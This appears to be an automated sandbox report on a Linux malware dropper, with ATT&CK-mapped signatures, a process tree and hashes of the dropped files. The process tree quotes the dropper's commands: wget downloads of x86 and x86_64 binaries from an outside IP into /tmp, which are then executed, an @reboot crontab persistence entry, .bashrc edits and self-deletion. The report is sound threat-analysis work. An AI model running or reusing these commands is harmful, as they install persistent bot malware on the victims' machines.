af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad

Analysis

max time kernel
147s
max time network
145s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
16/07/2026, 03:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
Size 1KB
Sample260716-ejg4psfz81
SHA256 af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
MD5 93f34bb6bc18bf11fe1a5137c545e39a
SHA1 f6060b8b2df84b7d6474269829cd21862b27368c
SHA512 96e6555e5cd330c1bc4f6bf591b9b6922cc20393437d7169b1ad562d5327bebde7cae32e5b67b903381c29f38256d8686b3d2d70ad0afac72f1ea2b7ba700806
TLSH
T1F421E14F0B1586B14B6E98ABD79A82D79B0701430009CE15B7DC9A8ABF3A158F0E93C7
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1496	chmod
1522	chmod

Deletes itself 1 IoCs

pid	Process
1497	x86_64

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/x86_64	1497	af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
/root/.systemd-private	1514	nohup
/root/.bash_64	1519	nohup
/tmp/x86	1523	af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.9PYi3N	crontab

Creates/modifies environment variables 1 TTPs 2 IoCs

Creating/modifying environment variables is a common persistence mechanism.

persistence privilege_escalation defense_evasion

Path Interception by PATH Environment Variable

T1574.007

description	ioc	Process
File opened for modification	/root/.bashrc	x86_64
File opened for modification	/root/.bash_profile	x86_64

Enumerates running processes
Discovers information about currently running processes on the system

Modifies Bash startup script 2 TTPs 2 IoCs

persistence

Boot or Logon Autostart Execution

T1547

Unix Shell Configuration Modification

T1546.004

description	ioc	Process
File opened for modification	/root/.bashrc	x86_64
File opened for modification	/root/.bash_profile	x86_64

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	sshd	1515	x86_64
Changes the process name, possibly in an attempt to hide itself	inetd	1518	x86_64
Changes the process name, possibly in an attempt to hide itself	nginx	1517	x86_64

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1165/cmdline	x86_64
File opened for reading	/proc/30/cmdline	x86_64
File opened for reading	/proc/172/cmdline	x86_64
File opened for reading	/proc/442/cmdline	x86_64
File opened for reading	/proc/1001/cmdline	x86_64
File opened for reading	/proc/17/cmdline	x86_64
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/178/cmdline	x86_64
File opened for reading	/proc/539/cmdline	x86_64
File opened for reading	/proc/1032/cmdline	x86_64
File opened for reading	/proc/1057/cmdline	x86_64
File opened for reading	/proc/1084/cmdline	x86_64
File opened for reading	/proc/1492/cmdline	x86_64
File opened for reading	/proc/25/cmdline	x86_64
File opened for reading	/proc/28/cmdline	x86_64
File opened for reading	/proc/31/cmdline	x86_64
File opened for reading	/proc/270/cmdline	x86_64
File opened for reading	/proc/656/cmdline	x86_64
File opened for reading	/proc/673/cmdline	x86_64
File opened for reading	/proc/899/cmdline	x86_64
File opened for reading	/proc/82/cmdline	x86_64
File opened for reading	/proc/174/cmdline	x86_64
File opened for reading	/proc/896/cmdline	x86_64
File opened for reading	/proc/86/cmdline	x86_64
File opened for reading	/proc/891/cmdline	x86_64
File opened for reading	/proc/1375/cmdline	x86_64
File opened for reading	/proc/1/cmdline	x86_64
File opened for reading	/proc/4/cmdline	x86_64
File opened for reading	/proc/1138/cmdline	x86_64
File opened for reading	/proc/filesystems	sed
File opened for reading	/proc/7/cmdline	x86_64
File opened for reading	/proc/15/cmdline	x86_64
File opened for reading	/proc/21/cmdline	x86_64
File opened for reading	/proc/658/cmdline	x86_64
File opened for reading	/proc/951/cmdline	x86_64
File opened for reading	/proc/978/cmdline	x86_64
File opened for reading	/proc/1072/cmdline	x86_64
File opened for reading	/proc/137/cmdline	x86_64
File opened for reading	/proc/1023/cmdline	x86_64
File opened for reading	/proc/1081/cmdline	x86_64
File opened for reading	/proc/162/cmdline	x86_64
File opened for reading	/proc/204/cmdline	x86_64
File opened for reading	/proc/666/cmdline	x86_64
File opened for reading	/proc/955/cmdline	x86_64
File opened for reading	/proc/1298/cmdline	x86_64
File opened for reading	/proc/1518/cmdline	x86_64
File opened for reading	/proc/8/cmdline	x86_64
File opened for reading	/proc/27/cmdline	x86_64
File opened for reading	/proc/171/cmdline	x86_64
File opened for reading	/proc/203/cmdline	x86_64
File opened for reading	/proc/1516/cmdline	x86_64
File opened for reading	/proc/9/cmdline	x86_64
File opened for reading	/proc/32/cmdline	x86_64
File opened for reading	/proc/79/cmdline	x86_64
File opened for reading	/proc/80/cmdline	x86_64
File opened for reading	/proc/478/cmdline	x86_64
File opened for reading	/proc/515/cmdline	x86_64
File opened for reading	/proc/1027/cmdline	x86_64
File opened for reading	/proc/1086/cmdline	x86_64
File opened for reading	/proc/20/cmdline	x86_64
File opened for reading	/proc/34/cmdline	x86_64
File opened for reading	/proc/170/cmdline	x86_64
File opened for reading	/proc/913/cmdline	x86_64
File opened for reading	/proc/1127/cmdline	x86_64

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/x86	wget
File opened for modification	/tmp/x86_64	wget

/tmp/af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
/tmp/af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
1⤵
- Executes dropped EXE
PID:1484
- /bin/uname
  uname -m
  2⤵
  PID:1485
- /usr/bin/basename
  basename http://103.79.185.121/x86_64
  2⤵
  PID:1486
- /usr/bin/wget
  wget -q http://103.79.185.121/x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/chmod
  chmod +x x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/x86_64
  ./x86_64
  2⤵
  - Deletes itself
  - Creates/modifies environment variables
  - Modifies Bash startup script
  - Changes its process name
  - Reads runtime system information
  PID:1497
- - /bin/sh
    sh -c -- "set +m 2>/dev/null"
    3⤵
    PID:1498
- - /bin/sh
    sh -c -- "unset jobcontrol 2>/dev/null"
    3⤵
    PID:1499
- - /bin/sh
    sh -c -- "chattr +i /root/.bash_64 2>/dev/null"
    3⤵
    PID:1500
  - - /usr/bin/chattr
      chattr +i /root/.bash_64
      4⤵
      PID:1501
- - /bin/sh
    sh -c -- "sed -i '/bash_64/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:1502
  - - /bin/sed
      sed -i /bash_64/d /root/.bashrc
      4⤵
      PID:1503
- - /bin/sh
    sh -c -- "sed -i '/pulse/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:1504
  - - /bin/sed
      sed -i /pulse/d /root/.bashrc
      4⤵
      Reads runtime system information
      PID:1505
- - /bin/sh
    sh -c -- "sed -i '/disown/d' /root/.bashrc 2>/dev/null"
    3⤵
    PID:1506
  - - /bin/sed
      sed -i /disown/d /root/.bashrc
      4⤵
      Reads runtime system information
      PID:1507
- - /bin/sh
    sh -c -- "(crontab -l 2>/dev/null | grep -v '/root/.systemd-private'; echo \"@reboot nohup /root/.systemd-private >/dev/null 2>&1 &\") | crontab -"
    3⤵
    PID:1508
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1510
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1511
  - - /bin/grep
      grep -v /root/.systemd-private
      4⤵
      PID:1512
- - /bin/sh
    sh -c -- "nohup /root/.systemd-private >/dev/null 2>&1 &"
    3⤵
    PID:1513
- /bin/rm
  rm -f x86_64
  2⤵
  PID:1516
- /usr/bin/basename
  basename http://103.79.185.121/x86
  2⤵
  PID:1520
- /usr/bin/wget
  wget -q http://103.79.185.121/x86 -O x86
  2⤵
  - Writes file to tmp directory
  PID:1521
- /bin/chmod
  chmod +x x86
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/x86
  ./x86
  2⤵
  PID:1523
- /bin/rm
  rm -f /tmp/af17e90fe951a5e34a77e944a4af50e7faee1347c297f36346ac9d409f59ecad
  2⤵
  PID:1524

/usr/bin/nohup
nohup /root/.systemd-private
1⤵
- Executes dropped EXE
PID:1514

/root/.systemd-private
/root/.systemd-private
1⤵
PID:1514

/usr/bin/nohup
nohup /root/.bash_64
1⤵
- Executes dropped EXE
PID:1519

/root/.bash_64
/root/.bash_64
1⤵
PID:1519

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Event Triggered Execution

T1546

Unix Shell Configuration Modification

T1546.004

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Path Interception by PATH Environment Variable

T1574.007

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.bash_logout

Path /root/.bash_logout
Size 19B
SHA256 deddc34cf712157cd887b6044f137e778431570fbabe892fedeb67314b1fa69c
MD5 a3920623c12732e2394bc1c0004acde5
SHA1 f7a162a039da3576bf447aa01656880ed7b74fb6
SHA512 156f39c886ef2ed7bd76713ae56eafa8d222eac0fc0c482196a4bee12efbb2b60a31451926b64581c7af68981e2092d4f9bb1e03503f8a4fabb20a4a3ec675a1
MD5 SHA1 SHA512

Submit Download

.bash_profile

Path /root/.bash_profile
Size 45B
SHA256 8b8e8b0619529d92dce796b51caa270d7cd491dc76428719dda9ac67e7040e26
MD5 6b32cf4e068701d2e52e91e5394d460f
SHA1 2af775395ebb1a4e03616061e6f60a7b4357281c
SHA512 06873ec5280a18b236a0b1c7f714b84a3e70bc840b712652f273cdbb87983a00731b8afc19f0c75d0bdcddc604908284aa966037913d5c1a62e82cfea76bc3bf
MD5 SHA1 SHA512

Submit Download

.bashrc

Path /root/.bashrc
Size 3KB
SHA256 9cce61dcbf6d145c0b573f4a2ee0bc3b82237ae88cb1da033f35fe5aa4396cdc
MD5 8213f2536c712634849f9c6e6d858f0d
SHA1 667be5d4af525989ba1baf9e6cf0344d8c0901aa
SHA512 76d7098c9fdb00dc633b51772d5296ae608a5c48626e7ff5dcce4e1a2c4749e71571055beb2ba7c7adf8d58e549f2d3b2d2da85c35923bbc853cdef9d7c089be
TLSH
T13D61805DF7F10668F15524B1E85513108E95051F0136BD5952D52500DB4450D4234D30
MD5 SHA1 SHA512 TLSH

Submit Download

.systemd-private

Path /root/.systemd-private
Size 56B
SHA256 8e95f444926abcd0ed09458519f9561a10eea24eb8d914d27cb56f5e76fba705
MD5 83fe6a3fbc24a79ce0f22036397d211b
SHA1 54715abf5357a26abdb9214b72b7d2b73e53f26e
SHA512 0207472053e4cd4fb13936ba8089d172085de9d9804a11b779e9a7e2fe0cfa0a60e9eba9b4deda72c0bef4b0e79e6a1bb1959d70a5f3b42258ebbc5064cf3303
TLSH
T1EE902222B2B00C30300CA38C2808203000C300A2280AB0B000C088028E0030A3280BA2
MD5 SHA1 SHA512 TLSH

Submit Download

sedqc217K

Path /root/sedqc217K
Size 3KB
SHA256 34fbc467b8c624d92abcdf3edcf35ee46032618a6f23b210efab0e6824978126
MD5 cf277664b1771217d7006acdea006db1
SHA1 17d380175c89fb145357edd7f1356f6274bfc762
SHA512 d2bf662bbc8e8c0c4c9b3a6a55fa18e30c25bfa012f0282d5c74d7538ae693ae157cb13321037aebbc8216f6f11419539f02a222ccb2c575271e634b76e50e26
TLSH
T1B45195AAC714E33B9D87909933EB96412385F0E12FA43F447418210E7BA7542A1FA5FC
MD5 SHA1 SHA512 TLSH

Submit Download

bot.pid

Path /run/bot.pid
Size 5B
SHA256 c8cefced58abf6a744bc58973aad6d89d80434dd76c6033faa63b50528b81dbd
MD5 d933cfd36174ed72fbcb76fc37c787b8
SHA1 5991f5850265eb618f4697eeb324e43b21bed49d
SHA512 7454c77d2930032704fc3be457603c8e21fed0064fbdd9e5bce7ad1fcaa69dee043cd8c1686b0f1a0a3434df4416a2660d01e977e9d32984e367d38596795e39
MD5 SHA1 SHA512

Submit Download

x86

Path /tmp/x86
Size 776KB
SHA256 062df5f282837cbada9eea895c5d0d737918d1170ecb5bd2a0f882cea6876dd7
MD5 3065fd606ca4c3ff5f5cdf242b66a292
SHA1 feddbcdf9386cd377c49f0b4aff5b63b03352ca0
SHA512 16bfe3684698bd6a8d752877d2ad880a3c1f051c4c4171a80d534e22a404c6c6471929f64e58d092ccf1bdaaefc34b1cf9fc033e0d6c74316f2899393301fc8a
SSDEEP 24576:H9qRpdPbhDdhbW0LyviuNTVtjr2LmZlpaGmimFtV6:6PbhDdhBm5VtBnmA
TLSH
T1EA057D8AE7D2C4F2F15301B5098FC7F6153492265013F6B2EB8C9A767876B522B1B32D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 855KB
SHA256 b1ee45a84d93ac693f95caa82101559e9d5dabb7e5b15067ad58bf193c20707f
MD5 fe9885d0230eb6797b695e203ba229d5
SHA1 7fb858b5938c15bb53c72518524854e5cd2f92b6
SHA512 041844e9f21ee62b1954a984cc9b4534c102f6c98ddc9adb6ceac69a63f4fee8fd06b8e90e108aa8e99a76afa642dcf26de4374db704ddd1969087e4d8323a92
SSDEEP 12288:qglfBNgdY4IrdcHZ7jJ9pn0tArMvGwGayCWBHXlLOOpNTCpNB:qgdBNgdVfHF0tA4vGH/OSNTm
TLSH
T1E6157D2AF2F2E67DD00BC03047DBC6B15131F0755A322D7B26C09A353EAADA5171AB66
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmp.9PYi3N

Path /var/spool/cron/crontabs/tmp.9PYi3N
Size 230B
SHA256 b30ac27ad1f91044e5754873780336181f660934e01df132a9b1ba2c1566eeff
MD5 ef1f345a5c3fc7a9a8df39bf49f7e66c
SHA1 c855732c8bb5ddf82d6f5b8198b27e387dd9f85b
SHA512 b1283afa5244cc255facc9d653722c28717a7483f45fa3e040514a8227fa662a861369943f90858a079edf61c854e23630f925fc190024f94d40da6b24fe54bf
TLSH
T18AD0231CBF302C303D052784F40E0315DCC3987E800EBD10F2CC1010830224D87B4971
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads